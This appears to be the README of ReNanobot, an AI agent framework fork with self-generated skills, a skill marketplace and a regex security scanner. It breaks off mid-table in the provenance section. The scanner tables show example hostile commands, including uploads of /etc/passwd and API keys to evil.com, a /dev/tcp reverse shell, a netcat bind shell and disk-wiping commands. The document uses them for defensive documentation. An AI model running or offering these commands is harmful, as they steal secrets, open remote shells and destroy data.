A fork of nanobot supercharged with hermes-agent's skill architecture.
🧠 Auto-generates skills from experience · 🔒 Security-scans every install · 🔄 Self-improves over time · 🧩 Plugin extensible · 🌐 MCP-compatible
Not just an agent that uses skills — an agent that creates, improves, and maintains them.
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- What is ReNanobot?
- The Problem We Solve
- How We Solve It
- Feature Overview
- Quick Start (60 seconds)
- Installation
- Configuration
- CLI Reference
- Slash Commands
- Agent Tools
- Skill Format Specification
- Skill Validation
- Security Guard
- Skill Hub Marketplace
- Write-Approval Gate
- Background Curator
- Self-Improvement Loop
- Provenance Tracking
- Per-Skill State Storage
- Skill Lifecycle Hooks
- Python Skills
- Plugin System
- MCP Server
- WebUI
- Gateway
- OpenAI-Compatible API
- Provider System
- Architecture
- Modularity & Upgrades
- Testing
- Live Test Scripts
- Benchmarks
- Comparison: Original vs Enhanced
- Comparison: ReNanobot vs hermes-agent
- Migration Guide
- FAQ
- Troubleshooting
- Contributing
- Credits
- License
ReNanobot is an enhanced fork of nanobot — the ultra-lightweight personal AI agent framework — supercharged with the skill architecture from hermes-agent by Nous Research.
It takes nanobot's clean ~4,000-line core and adds a self-improving skill system on top — without breaking a single existing feature. The agent doesn't just use skills; it creates, improves, and maintains them automatically.
Imagine an AI assistant that gets smarter every time you use it. Not because the model improves — but because the agent learns from its own experience and saves reusable workflows as skills. Next time you ask something similar, it already knows the pattern. Over weeks and months, your agent builds a personal library of skills tailored to how you work.
That's ReNanobot.
| Original nanobot | ReNanobot | hermes-agent | |
|---|---|---|---|
| Self-creates skills | ❌ | ✅ | ✅ |
| Auto-improves skills | ❌ | ✅ | ✅ |
| Security-scans skills | ❌ | ✅ (28 patterns) | ✅ |
| MCP server | ❌ | ✅ (9 tools) | ✅ |
| Plugin system | ❌ | ✅ (21 hooks) | ✅ (25 hooks) |
| Skill marketplace | ❌ | ✅ | ✅ (8+ registries) |
| Write-approval gate | ❌ | ✅ | ✅ |
| Background curator | ❌ | ✅ | ✅ |
| Core LOC | ~4,000 | ~4,000 (unchanged) | ~100,000+ |
| Philosophy | Ultra-lightweight | Ultra-lightweight + skills | Full-featured |
ReNanobot sits in the sweet spot: nanobot's lightweight elegance + hermes-agent's self-improvement superpowers.
Every time you start a new conversation with a standard AI agent, it starts from scratch. It doesn't remember:
- The workflow you established last week for deploying your app
- The specific way you like your code reviewed
- The API endpoints you frequently query
- The formatting conventions your team uses
You re-explain. Every. Single. Time.
Some agents support skills — but the skills are:
- Static — written once, never improved
- Manual — you have to create them by hand
- Insecure — no validation, no scanning, anyone's skill can run arbitrary code
- Isolated — no marketplace, no sharing, no versioning
- Unmanaged — they pile up forever, no cleanup
The agent that does solve this (hermes-agent) is 100,000+ lines of code with:
- 22+ chat platform integrations
- 6 terminal backends (local/Docker/SSH/Singularity/Modal/Daytona)
- A trajectory compression pipeline for RL training data
- A full TUI gateway with s6-overlay Docker supervision
That's great for research. It's overkill for a personal assistant.
Take the skill architecture (the self-improvement loop, the security scanner, the marketplace, the write-approval gate, the curator) and port it to nanobot's 4,000-line core — keeping nanobot's lightweight philosophy intact.
Result: An agent that:
- ✅ Starts in <1 second
- ✅ Uses ~19 MB of RAM at idle
- ✅ Has zero import overhead when skills aren't used
- ✅ Self-creates skills from experience
- ✅ Auto-improves skills based on usage
- ✅ Security-scans every skill before install
- ✅ Archives stale skills automatically
- ✅ Exposes itself as an MCP server
- ✅ Supports 49 LLM providers
- ✅ Runs on Linux, macOS, and Windows
ReNanobot adds a self-contained skillpkg package (13 modules, ~3,000 LOC) to nanobot's core. The package is lazily loaded — import nanobot is unchanged (0.063s, 18.9 MB). When you use skill features, the heavy subsystems load on demand. All integration with nanobot's core goes through a single adapter module (skillpkg/integration.py), so upgrading to future nanobot versions is a 1-line change per file.
User asks a question
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▼
┌─────────────────────────┐
│ AgentLoop processes │
│ the message │
└───────────┬─────────────┘
│
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┌─────────────────────────┐
│ AgentRunner calls │
│ LLM + executes tools │
└───────────┬─────────────┘
│
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┌─────────────────────────┐
│ SelfImprovementHook │ ◄── After each turn, check:
│ .after_run() fires │ 1. Should I nudge skill creation?
│ │ 2. Should I improve an existing skill?
│ │ 3. Should I run the curator?
└───────────┬─────────────┘
│
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┌─────────────────────────┐
│ If nudge due: inject │
│ system message into │
│ session history │
└───────────┬─────────────┘
│
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┌─────────────────────────┐
│ Next turn: agent sees │
│ the nudge, uses │
│ skill_manage to │
│ create/improve a skill│
└───────────┬─────────────┘
│
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┌─────────────────────────┐
│ Skill saved to │
│ ~/.nanobot/workspace/ │
│ skills/ │
└───────────┬─────────────┘
│
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┌─────────────────────────┐
│ Provenance recorded │
│ (source: agent_created│
│ use_count: 0) │
└─────────────────────────┘
│
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... repeat ...
│
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┌─────────────────────────┐
│ After 30 days idle: │
│ Curator archives the │
│ skill (recoverable) │
└─────────────────────────┘
Every N turns (configurable), if the agent used tools, a system message is injected:
"You've completed several tasks recently. Reflect on whether any of what you just did would be worth saving as a reusable skill. If so, use the
skill_managetool withaction='create'to scaffold it."
The agent decides what's worth saving. If the write-approval gate is on, the creation is staged for your review.
When a skill is used 5+ times (configurable), a nudge suggests the agent review and improve it:
"The skill 'deploy-vercel' has been used 7 times. Consider reviewing it with
skill_viewand improving it based on how it's been used."
Only agent-created skills are nudged for improvement — builtin skills are left alone.
When the agent has been idle for 30 minutes (configurable), the curator runs:
- Finds agent-created skills not used in 30 days (configurable)
- Archives them (not deletes — recoverable)
- Respects pinned skills
- Respects skills younger than 24 hours (give them a chance)
| # | Feature | Description |
|---|---|---|
| 1 | Pydantic SkillManifest | Typed frontmatter schema: version, author, license, category, requires, provides_tools, permissions, config_schema |
| 2 | Structural validator | Validates skill directories: name/desc length, file sizes, allowed subdirs, symlink rejection |
| 3 | Security scanner | 28 regex patterns across 6 categories (exfiltration, injection, destructive, persistence, network, obfuscation) |
| 4 | Skill marketplace | Install from local path, .skill archive, git URL, or GitHub zip URL |
| 5 | Provenance tracking | Records who created each skill, when, from where, use count, pinned status |
| 6 | Write-approval gate | Agent mutations staged for user review via /skills approve <id> |
| 7 | Background curator | Auto-archives stale agent-created skills (recoverable) |
| 8 | Per-skill state | Sandboxed JSON/file storage per skill (5 MB/file, 50 MB/skill caps) |
| 9 | Lifecycle hooks | on_install, on_uninstall, on_load, on_unload, before_agent_turn, after_agent_turn |
| 10 | Python skills | Skills declared in Python with bundled tools, hooks, and config schemas |
| 11 | 3 agent tools | skills_list, skill_view, skill_manage (create/edit/delete/write_file/remove_file) |
| 12 | 18 CLI commands | nanobot skill create/list/show/validate/audit/install/uninstall/package/reload/enable/disable/pending/approve/reject/curate/archived/restore/doctor |
| 13 | 4 slash commands | /reload-skills, /learn, /skills pending|approve|reject |
| 14 | MCP server | Expose nanobot as an MCP server (9 tools over stdio JSON-RPC) |
| 15 | Plugin system | 21 hook points, entry-point discovery, error isolation |
| 16 | Self-improvement | Auto-create + auto-improve + auto-curate skills |
| 17 | Lazy imports | import nanobot.skillpkg loads 0 heavy modules — near-zero overhead |
| 18 | Integration adapter | Single skillpkg/integration.py module — all core patches are 1-line calls |
| 19 | .skill packaging |
Zip-based archive format with symlink/path-traversal protection |
- ✅ All 18 original agent tools (read_file, write_file, exec, web_search, etc.)
- ✅ All original slash commands (/new, /stop, /model, /history, /goal, etc.)
- ✅ All 13 builtin skills (memory, cron, github, weather, summarize, etc.)
- ✅ The WebUI (React 18 + Vite + shadcn/ui, 10 locales)
- ✅ The gateway (WebSocket channel, cron service, Dream memory consolidation)
- ✅ The OpenAI-compatible HTTP API (
nanobot serve) - ✅ 49 LLM providers (Anthropic, OpenAI, Groq, Gemini, DeepSeek, Bedrock, Azure, etc.)
- ✅ MCP client support (consume external MCP servers as tools)
- ✅ Session management, memory consolidation, subagent spawning
- ✅ The entire test suite (4,546 tests pass)
# 1. Install
git clone https://github.com/maruf009sultan/renanobot.git
cd renanobot
python3 -m venv venv
./venv/bin/pip install -e ".[api,documents]"
# 2. Set your API key (any one)
export GROQ_API_KEY="your-groq-key"
# or
export OPENAI_API_KEY="your-openai-key"
# or
export ANTHROPIC_API_KEY="your-anthropic-key"
# 3. Run!
./venv/bin/nanobot agentThat's it. You're chatting with a self-improving AI agent.
# List all skills
./venv/bin/nanobot skill list
# Create a skill
./venv/bin/nanobot skill create my-first-skill --description "My first skill"
# Validate it
./venv/bin/nanobot skill validate my-first-skill
# Security-scan it
./venv/bin/nanobot skill audit my-first-skill
# Package it for sharing
./venv/bin/nanobot skill package my-first-skill -o ./dist
# Expose as an MCP server (for Claude Code, Cursor, Zed)
./venv/bin/nanobot mcp-serveEdit ~/.nanobot/config.json:
{
"tools": {
"skills": {
"creationNudgeInterval": 10
}
}
}Now the agent will auto-create skills every 10 turns and auto-improve them based on usage.
git clone https://github.com/maruf009sultan/renanobot.git
cd renanobot
python3 -m venv venv
./venv/bin/pip install -e ".[api,documents]"Add to PATH (optional):
# Bash/Zsh
echo 'export PATH="$HOME/path-to-renanobot/venv/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc
# Fish
fish_add_path ~/path-to-renanobot/venv/bincurl -L https://litter.catbox.moe/x22lvr.zip -o renanobot.zip
unzip renanobot.zip -d renanobot
cd renanobot
python3 -m venv venv
./venv/bin/pip install -e ".[api,documents]"docker build -t renanobot .
docker run --rm -it \
-v ~/.nanobot:/root/.nanobot \
-p 8765:8765 \
-p 18790:18790 \
-e GROQ_API_KEY="your-key" \
renanobot agentpodman build -t renanobot .
podman run --rm -it \
-v ~/.nanobot:/root/.nanobot:Z \
-p 8765:8765 \
-e GROQ_API_KEY="your-key" \
renanobot agentpip install renanobot
nanobot agent- Python 3.11+ (3.12 recommended)
- pip (comes with Python)
- git (for Method 1)
- An LLM API key (Groq, OpenAI, Anthropic, Gemini, DeepSeek, or any of 49 providers)
nanobot --version
# 🐈 nanobot v0.2.2
nanobot --help
# Shows all commands including `skill` and `mcp-serve`
nanobot skill --help
# Shows 18 skill subcommands
nanobot status
# Shows config, workspace, and provider status# If installed via git clone
rm -rf renanobot ~/.nanobot
# If installed via pip
pip uninstall renanobot
rm -rf ~/.nanobotReNanobot's config lives at ~/.nanobot/config.json. It's created automatically on first run.
{
"agents": {
"defaults": {
"model": "groq/llama-3.3-70b-versatile",
"provider": "groq"
}
},
"providers": {
"groq": {
"apiKey": "your-groq-api-key"
}
}
}{
"agents": {
"defaults": {
"model": "groq/llama-3.3-70b-versatile",
"provider": "groq",
"workspace": "~/.nanobot/workspace",
"maxToolIterations": 200,
"timezone": "America/New_York",
"botName": "ReNanobot",
"botIcon": "🐈⬛"
}
},
"providers": {
"groq": { "apiKey": "your-groq-key" },
"openai": { "apiKey": "your-openai-key" },
"anthropic": { "apiKey": "your-anthropic-key" }
},
"tools": {
"skills": {
"writeApproval": false,
"externalDirs": [],
"creationNudgeInterval": 10,
"guardEnabled": true,
"curatorEnabled": false,
"curatorIdleThreshold": 1800,
"curatorStaleAfterDays": 30,
"curatorMinAgeHours": 24
},
"mcpServers": {}
},
"gateway": {
"host": "127.0.0.1",
"port": 18790
},
"api": {
"host": "127.0.0.1",
"port": 8900
},
"modelPresets": {
"fast": { "model": "groq/llama-3.1-8b-instant", "provider": "groq" },
"smart": { "model": "groq/llama-3.3-70b-versatile", "provider": "groq" }
}
}| Field | Type | Default | Description |
|---|---|---|---|
writeApproval |
bool | false |
When true, agent skill mutations are staged for user approval |
externalDirs |
list[str] | [] |
Additional directories to scan for skills |
creationNudgeInterval |
int | 0 |
Turns between skill-creation nudges (0 = disabled) |
guardEnabled |
bool | true |
Run the security scanner on every skill install |
curatorEnabled |
bool | false |
Enable the background curator |
curatorIdleThreshold |
float | 1800.0 |
Seconds of idle before curator auto-runs (30 min) |
curatorStaleAfterDays |
float | 30.0 |
Days unused before a skill is archived |
curatorMinAgeHours |
float | 24.0 |
Minimum skill age before archiving |
| Variable | Description |
|---|---|
GROQ_API_KEY |
Groq API key |
OPENAI_API_KEY |
OpenAI API key |
ANTHROPIC_API_KEY |
Anthropic API key |
GEMINI_API_KEY |
Google Gemini API key |
DEEPSEEK_API_KEY |
DeepSeek API key |
OPENROUTER_API_KEY |
OpenRouter API key |
ZAI_API_KEY |
Z.ai (GLM) API key |
NANOBOT_CONFIG_PATH |
Override config file path |
NANOBOT_MAX_CONCURRENT_REQUESTS |
Concurrency gate (default 3) |
NANOBOT_STREAM_IDLE_TIMEOUT_S |
Stream idle timeout (default 90, max 3600) |
Any config value can reference environment variables:
{
"providers": {
"groq": { "apiKey": "${GROQ_API_KEY}" }
}
}ReNanobot adds two new top-level commands: nanobot skill and nanobot mcp-serve.
Scaffold a new skill from a template.
nanobot skill create my-skill \
--description "Deploys Next.js apps to Vercel" \
--resources scripts,references \
--examples \
--alwaysOptions:
--description, -d(required) — One-line skill description--workspace, -w— Workspace directory--config, -c— Config file path--always— Inline this skill into the system prompt--version— Semver (default0.1.0)--author— Author name--license— SPDX identifier--category— Category tag--resources— Comma list:scripts,references,assets,templates--examples— Seed resource dirs with example files
List all skills (builtin + workspace + python + hub).
nanobot skill list
nanobot skill list --json
nanobot skill list --include-disabledShow a skill's metadata and body.
nanobot skill show my-skill
nanobot skill show my-skill --jsonValidate a skill's structure and manifest.
nanobot skill validate my-skill
nanobot skill validate /path/to/skill-dir
nanobot skill validate my-skill --jsonChecks:
- SKILL.md exists and has valid YAML frontmatter
- Name matches directory name, ≤64 chars, lowercase hyphen-case
- Description non-empty, ≤1024 chars, no
[TODOplaceholders - Total SKILL.md ≤100,000 chars (~36k tokens)
- Supporting files ≤1 MiB each
- Only allowed subdirs:
scripts/,references/,assets/,templates/ - No symlinks anywhere in the tree
Run the security scanner on a skill.
nanobot skill audit my-skill
nanobot skill audit my-skill --jsonCategories scanned:
exfiltration— curl uploads, wget posts, urllib uploads, env var exfil,/etc/passwdreadsinjection— eval(input), exec(input), subprocess shell=True with user inputdestructive— rm -rf /, mkfs, dd to disk, DROP TABLE, TRUNCATE, format C:persistence— crontab writes, systemd units, .bashrc/.zshrc writes, SSH authorized_keysnetwork— reverse shells, bind shells, port scanningobfuscation— base64 blobs, exec(base64), hex blobs
Install a skill from a local path, .skill archive, git URL, or GitHub zip URL.
# From .skill archive
nanobot skill install ./my-skill.skill
# From local directory
nanobot skill install /path/to/skill-dir
# From git URL (clones via dulwich)
nanobot skill install https://github.com/user/skill-repo.git
# From GitHub zip URL
nanobot skill install https://github.com/user/skill-repo/archive/refs/heads/main.zip
# Overwrite existing
nanobot skill install ./my-skill.skill --overwrite
# Skip security scan (NOT recommended)
nanobot skill install ./my-skill.skill --no-guardRemove a skill (archived by default, recoverable).
nanobot skill uninstall my-skill
nanobot skill uninstall my-skill --no-archive # permanent deletePackage a skill into a .skill archive for distribution.
nanobot skill package my-skill
nanobot skill package my-skill -o ./distHot-reload Python skills (re-discover entry points).
nanobot skill reloadToggle a skill in the disabled list.
nanobot skill disable my-skill
nanobot skill enable my-skillList pending skill writes awaiting approval (when write-approval is enabled).
nanobot skill pending
nanobot skill pending --jsonManage pending writes.
nanobot skill approve <pending_id>
nanobot skill reject <pending_id> --reason "Not needed"Run the background curator (archive stale agent-created skills).
nanobot skill curate
nanobot skill curate --jsonList archived skills.
nanobot skill archived
nanobot skill archived --jsonRestore an archived skill.
nanobot skill restore my-skill-1783359146Diagnose skill issues across all sources.
nanobot skill doctor# stdio transport (default — for Claude Code, Cursor, Zed)
nanobot mcp-serve
# With config
nanobot mcp-serve -c ~/.nanobot/config.json -w ~/.nanobot/workspace
# SSE transport (coming soon)
nanobot mcp-serve --transport sse --port 8901Exposed MCP tools (9):
list_skills— List all skills with metadataview_skill— View a skill's full SKILL.md bodysearch_skills— Search skills by name/descriptioninstall_skill— Install from path/URLvalidate_skill— Validate a skill's structureaudit_skill— Security-scan a skilllist_pending_writes— List pending skill writesapprove_write— Approve a pending writereject_write— Reject a pending write
nanobot agent # Interactive CLI chat
nanobot agent -m "hi" # One-shot mode
nanobot gateway # Start the gateway (WebUI + WS + cron)
nanobot serve # OpenAI-compatible HTTP API
nanobot webui # Open the WebUI in browser
nanobot status # Show runtime/provider/channel status
nanobot onboard # Initialize config + workspace
nanobot trigger <id> # Deliver a local trigger messageReNanobot adds 4 new slash commands (available in the agent REPL and all chat channels):
Hot-reload Python skills.
> /reload-skills
Skills reloaded.
Added: (none)
Removed: (none)
Have the agent scaffold a new skill from a description.
> /learn how to deploy Next.js apps to Vercel
The agent uses skill_manage to create the skill automatically.
Manage pending skill writes (when write-approval is enabled).
> /skills pending
Pending skill writes (2):
- abc123 [create] my-skill — Agent-created skill 'my-skill'
- def456 [edit] other-skill — Agent-edited skill 'other-skill'
> /skills approve abc123
Created skill 'my-skill'.
> /skills reject def456 --reason "Not needed"
Rejected pending write 'def456'.
/new — Start a new conversation
/stop — Stop the current task
/restart — Restart nanobot
/status — Show runtime status
/model [name] — Switch model preset
/history [n] — Show conversation history
/goal <goal> — Start a long-running goal
/trigger <id> — Create a local trigger
/dream — Run memory consolidation
/dream-log — Show Dream log
/skill — List all skills
/help — Show help
/pairing — Manage pairing requests
ReNanobot adds 3 new agent tools (auto-registered, available to the LLM):
Returns a compact list of all skills with name, version, source, and description.
# The LLM calls:
skills_list(include_disabled=False)
# Returns:
"Available skills (13):
- clawhub v0.1.0 [builtin] — Search and install agent skills from ClawHub
- cron v0.1.0 [builtin] — Schedule reminders and recurring tasks
- github v0.1.0 [builtin] — Interact with GitHub using the `gh` CLI
- long-goal v0.1.0 [builtin] — Sustained objectives via long_task
- memory v0.1.0 [builtin] — Two-layer memory system
- my v0.1.0 [builtin] — Check and set the agent's own runtime state
- skill-creator v0.1.0 [builtin] — Create or update AgentSkills
- ..."View a skill's full SKILL.md body, or a specific file inside the skill.
# Tier 2: full SKILL.md
skill_view(name="my-skill")
# Tier 3: specific file
skill_view(name="my-skill", file_path="references/api.md")# Create a new skill
skill_manage(
action="create",
skill_name="deploy-vercel",
description="Deploy Next.js apps to Vercel",
content="# Deploy to Vercel\n\n## Steps\n1. Run `vercel deploy`\n2. ...",
version="1.0.0",
always=False,
)
# Edit an existing skill
skill_manage(
action="edit",
skill_name="deploy-vercel",
new_description="Updated description",
new_content="# Updated body",
)
# Delete (archive) a skill
skill_manage(action="delete", skill_name="deploy-vercel")
# Write a supporting file
skill_manage(
action="write_file",
skill_name="deploy-vercel",
file_path="scripts/deploy.sh",
content="#!/bin/bash\nvercel deploy --prod",
)
# Remove a supporting file
skill_manage(
action="remove_file",
skill_name="deploy-vercel",
file_path="scripts/deploy.sh",
)With write-approval enabled, mutations return a pending_id:
skill_manage(action="create", skill_name="test", description="...")
# Returns: "Staged creation of skill 'test' as pending_id=abc123.
# User must approve via /skills approve abc123."A ReNanobot skill is a directory containing a SKILL.md file with YAML frontmatter.
my-skill/
└── SKILL.md
SKILL.md:
---
name: my-skill
description: What this skill does and when to use it
---
# My Skill
Instructions for the agent...my-skill/
├── SKILL.md (required)
├── scripts/ (optional — executable code)
│ └── helper.py
├── references/ (optional — docs loaded on demand)
│ └── api.md
├── assets/ (optional — files used in output)
│ └── template.txt
└── templates/ (optional — code templates)
└── starter.py
| Field | Type | Required | Default | Constraints |
|---|---|---|---|---|
name |
str | ✅ | — | ≤64 chars, ^[a-z0-9][a-z0-9._-]*$ |
description |
str | ✅ | — | ≤1024 chars, no [TODO placeholders |
version |
str | ❌ | 0.1.0 |
Semver MAJOR.MINOR.PATCH |
author |
str | ❌ | — | Free-form attribution |
license |
str | ❌ | — | SPDX identifier (MIT, Apache-2.0) |
homepage |
str | ❌ | — | URL for source/docs |
category |
str | ❌ | — | Tag (productivity, devops) |
always |
bool | ❌ | false |
If true, inlined into system prompt |
requires.bins |
list[str] | ❌ | [] |
Required CLI commands |
requires.env |
list[str] | ❌ | [] |
Required env vars |
requires.pip |
list[str] | ❌ | [] |
Required pip packages |
provides_tools |
list[str] | ❌ | [] |
Tools this skill exposes (Python skills) |
provides_hooks |
list[str] | ❌ | [] |
Lifecycle hooks this skill subscribes to |
permissions |
list[str] | ❌ | [] |
Declared permissions |
config_schema |
dict | ❌ | — | JSON Schema for skill config |
metadata |
dict | ❌ | {} |
Free-form; nanobot and openclaw sub-keys for extensions |
---
name: deploy-vercel
description: >
Deploy Next.js apps to Vercel. Use when the user wants to deploy
a Next.js application to Vercel using the Vercel CLI.
version: 1.2.0
author: Jane Developer
license: MIT
homepage: https://github.com/jane/deploy-vercel-skill
category: devops
always: false
requires:
bins:
- vercel
env:
- VERCEL_TOKEN
provides_tools:
- vercel_deploy
- vercel_rollback
permissions:
- filesystem:write
- shell:execute
metadata:
nanobot:
emoji: 🚀
os:
- linux
- macos
---
# Deploy to Vercel
## Quick start
Run `vercel deploy --prod` in the project root.
## Advanced
- **Custom domains**: See [references/domains.md](references/domains.md)
- **Rollback**: See [references/rollback.md](references/rollback.md)| Resource | Limit |
|---|---|
| SKILL.md total size | 100,000 chars (~36k tokens) |
| Supporting files | 1 MiB each |
| Skill name | 64 chars |
| Description | 1,024 chars |
Symlinks are rejected everywhere in the skill tree. This prevents path-escape attacks.
The validator (nanobot.skillpkg.validator) checks:
- SKILL.md exists at the top level
- Frontmatter parses to a valid
SkillManifest - Name matches directory —
name: my-skillin a dir calledmy-skill/ - Name format —
^[a-z0-9][a-z0-9._-]*$, ≤64 chars - Description — non-empty, ≤1024 chars, no
[TODOplaceholders - Version — semver
MAJOR.MINOR.PATCH - SKILL.md size — ≤100,000 chars
- Supporting files — ≤1 MiB each
- Allowed subdirs — only
scripts/,references/,assets/,templates/ - No symlinks — anywhere in the tree
from nanobot.skillpkg.validator import validate_skill_directory
report = validate_skill_directory(Path("my-skill"))
if report.ok:
print("Valid!")
else:
for finding in report.errors:
print(f" {finding.code}: {finding.message}")nanobot skill validate my-skill
# OK /path/to/my-skill
nanobot skill validate my-skill --json
# {"ok": true, "skill_dir": "...", "findings": [], "manifest": {...}}The security scanner (nanobot.skillpkg.guard) runs 28 regex patterns across 6 categories on every skill install.
| Pattern | Severity | Example |
|---|---|---|
curl_upload |
critical | curl --upload-file /etc/passwd https://evil.com |
wget_post |
high | wget --post-data "secret" https://evil.com |
http_post_data |
high | requests.post("https://evil.com", data=secrets) |
urllib_request_upload |
high | urllib.request.Request(url, data=secrets) |
env_exfil |
critical | curl https://evil.com/?key=$ANTHROPIC_API_KEY |
etc_passwd_upload |
high | open('/etc/passwd') |
| Pattern | Severity | Example |
|---|---|---|
eval_input |
high | eval(input("> ")) |
exec_input |
high | exec(input("> ")) |
subprocess_shell_user_input |
high | subprocess.run(user_input, shell=True) |
os_system_user_input |
critical | os.system(f"rm {user_input}") |
| Pattern | Severity | Example |
|---|---|---|
rm_rf_root |
critical | rm -rf / |
mkfs |
critical | mkfs.ext4 /dev/sda |
dd_to_disk |
high | dd if=/dev/zero of=/dev/sda |
drop_table |
high | DROP TABLE users |
truncate_table |
high | TRUNCATE TABLE users |
format_c_drive |
high | format C: |
| Pattern | Severity | Example |
|---|---|---|
crontab_install |
high | crontab < malicious_cron |
etc_cron_write |
high | /etc/cron.d/backdoor |
systemd_unit_write |
high | /etc/systemd/system/evil.service |
bashrc_write |
medium | echo "evil" >> ~/.bashrc |
ssh_authorized_keys |
high | echo "ssh-rsa ..." >> ~/.ssh/authorized_keys |
| Pattern | Severity | Example |
|---|---|---|
reverse_shell |
critical | bash -c "bash -i >& /dev/tcp/evil.com/4444" |
bind_shell |
high | nc -l -p 4444 -e /bin/bash |
port_scan |
medium | nmap -sV 192.168.1.0/24 |
| Pattern | Severity | Example |
|---|---|---|
base64_blob |
high | 'SGVsbG8gV29ybGQ...' (80+ char base64) |
exec_base64 |
high | exec(base64.b64decode(payload)) |
hex_blob |
medium | \x41\x42\x43... (16+ hex escapes) |
| Severity | Blocks install? | Color |
|---|---|---|
critical |
✅ Yes | 🔴 Red |
high |
✅ Yes | 🔴 Red |
medium |
❌ No (warning) | 🟡 Yellow |
low |
❌ No (info) | 🔵 Blue |
info |
❌ No | ⚪ Gray |
from nanobot.skillpkg.guard import SkillGuard
guard = SkillGuard()
scan = guard.scan_directory(Path("my-skill"))
if scan.blocks_install:
print(f"Blocked: {len(scan.critical)} critical, {len(scan.high)} high")
for f in scan.findings:
print(f" {f.severity} {f.category}/{f.pattern}: {f.match}")nanobot skill audit my-skill
# PASS no critical/high findings (3 files scanned)
nanobot skill audit malicious-skill
# BLOCK 1 critical, 2 high findings
# CRITICAL destructive/rm_rf_root: rm -rf /
# /path/to/scripts/evil.py:4
# HIGH exfiltration/urllib_request_upload: urllib.request.Request(...)
# /path/to/scripts/evil.py:8The SkillHub (nanobot.skillpkg.hub) installs skills from multiple sources.
| Source | Example |
|---|---|
Local .skill archive |
nanobot skill install ./my-skill.skill |
| Local directory | nanobot skill install /path/to/skill-dir |
| Git URL | nanobot skill install https://github.com/user/repo.git |
| GitHub zip URL | nanobot skill install https://github.com/user/repo/archive/refs/heads/main.zip |
1. Fetch source (copy dir / extract zip / clone git)
↓
2. Validate structure (validator.py)
↓
3. Security scan (guard.py)
↓
4. If scan blocks install → reject
↓
5. Copy to ~/.nanobot/workspace/skills/
↓
6. Record provenance (source: hub, installed_from: URL)
from nanobot.skillpkg.hub import SkillHub
from nanobot.skillpkg.provenance import ProvenanceStore
from pathlib import Path
hub = SkillHub(
install_dir=Path("~/.nanobot/workspace/skills"),
provenance=ProvenanceStore(Path("~/.nanobot/workspace/skills/.provenance.json")),
)
result = hub.install("https://github.com/user/skill-repo/archive/refs/heads/main.zip")
if result.ok:
print(f"Installed: {result.skill_name}")
else:
print(f"Failed: {result.error}")When writeApproval: true in config, agent skill mutations are staged for user review rather than applied immediately.
Agent calls skill_manage(action="create", ...)
│
▼
┌─────────────────────────┐
│ WriteApprovalGate │
│ .should_stage() → True │
│ │
│ Stages: │
│ - pending_id: abc123 │
│ - operation: create │
│ - skill_name: test │
│ - payload: {...} │
└───────────┬─────────────┘
│
▼
┌─────────────────────────┐
│ Returns to agent: │
│ "Staged as abc123. │
│ User must approve." │
└───────────┬─────────────┘
│
▼
User runs:
/skills approve abc123
│
▼
┌─────────────────────────┐
│ WriteApprovalGate │
│ .apply_pending() │
│ │
│ Replays the write with │
│ bypass context-var set │
│ (so it doesn't re-stage)│
└───────────┬─────────────┘
│
▼
┌─────────────────────────┐
│ Skill created! │
└─────────────────────────┘
nanobot skill pending
# abc123 [create] my-skill — Agent-created skill 'my-skill'
nanobot skill approve abc123
# Created skill 'my-skill'.
nanobot skill reject abc123 --reason "Not needed"
# Rejected pending write 'abc123'./skills pending
/skills approve abc123
/skills reject abc123
Without the gate, the agent can silently overwrite your skills. With the gate, every mutation is reviewed before applying — you see exactly what the agent wants to do.
The curator (nanobot.skillpkg.curator) archives stale agent-created skills.
- Lists all skills with provenance
agent_created - For each, checks
last_used_at:- If older than
curatorStaleAfterDays(default 30) → archive candidate
- If older than
- Pinned skills are never archived
- Skills younger than
curatorMinAgeHours(default 24) are skipped - Candidates are archived (not deleted) — moved to
~/.nanobot/workspace/skills/.archive/ - Archive is recoverable via
nanobot skill restore
- Manually:
nanobot skill curate - Automatically: When the agent has been idle for
curatorIdleThresholdseconds (default 1800 = 30 min) — requirescreationNudgeInterval > 0
- ✅ Only touches
agent_createdskills (builtin/hub/manual skills are safe) - ✅ Never deletes — only archives (recoverable)
- ✅ Respects pinned skills
- ✅ Respects young skills (< 24 hours old)
- ✅ Fail-closed: any error during archival stops the operation
nanobot skill curate
# Archived 2 skill(s):
# - old-deployment-script
# - unused-api-helper
# pinned: my-important-skill
# too young: new-skill
nanobot skill archived
# old-deployment-script-1783359146 — /path/to/archive
# unused-api-helper-1783359147 — /path/to/archive
nanobot skill restore old-deployment-script-1783359146
# Restored: /path/to/workspace/skills/old-deployment-scriptThe self-improvement loop (nanobot.skillpkg.self_improvement) is the headline feature ported from hermes-agent.
Every N turns (configurable via creationNudgeInterval), if the agent used tools, a system message is injected into the session:
"You've completed several tasks recently. Reflect on whether any of what you just did would be worth saving as a reusable skill. If so, use the
skill_managetool withaction='create'to scaffold it."
The agent decides what's worth saving. If writeApproval is on, the creation is staged for your review.
When a skill is used 5+ times (via skill_view), a nudge suggests the agent review and improve it:
"The skill 'deploy-vercel' has been used 7 times. Consider reviewing it with
skill_viewand improving it based on how it's been used."
Only agent_created skills are nudged for improvement — builtin skills are left alone.
When the agent has been idle for 30 minutes (configurable), the curator runs automatically. See Background Curator for details.
# In AgentLoop.__init__ (after _register_default_tools):
from nanobot.skillpkg.integration import attach_self_improvement
attach_self_improvement(self)
# attach_self_improvement reads config:
# if creation_nudge_interval > 0:
# SelfImprovementHook.attach(loop)
# → appends to loop._extra_hooks
# → stashes state on loop._self_improvement_stateThe hook fires after_run (after each agent turn):
async def after_run(self, context: AgentRunHookContext) -> None:
self._state.turn_count += 1
await self._maybe_creation_nudge(context) # inject system message
await self._maybe_improvement_nudge(context) # inject system message
await self._maybe_run_curator() # archive stale skills{
"tools": {
"skills": {
"creationNudgeInterval": 10,
"curatorIdleThreshold": 1800,
"curatorStaleAfterDays": 30,
"curatorMinAgeHours": 24,
"writeApproval": true
}
}
}| Aspect | hermes-agent | ReNanobot |
|---|---|---|
| Review mechanism | Forks agent in background thread with tool whitelist | Injects system messages into live session |
| Model | Can use auxiliary (cheaper) model for review | Uses the same model |
| Timing | Immediately after each turn | On the next turn |
| Lifecycle states | draft → active → archived | present → archived |
| Consolidation | Can merge similar skills | Not yet |
| Complexity | ~2,000 LOC | ~260 LOC |
ReNanobot trades sophistication for simplicity — matching nanobot's "ultra-lightweight" philosophy. The core loop (create + improve + archive) works; the heavyweight review process doesn't.
Every skill has a provenance record: who created it, when, from where, and how often it's used.
| Source | Description |
|---|---|
builtin |
Ships with nanobot |
workspace |
Created manually in the workspace |
hub |
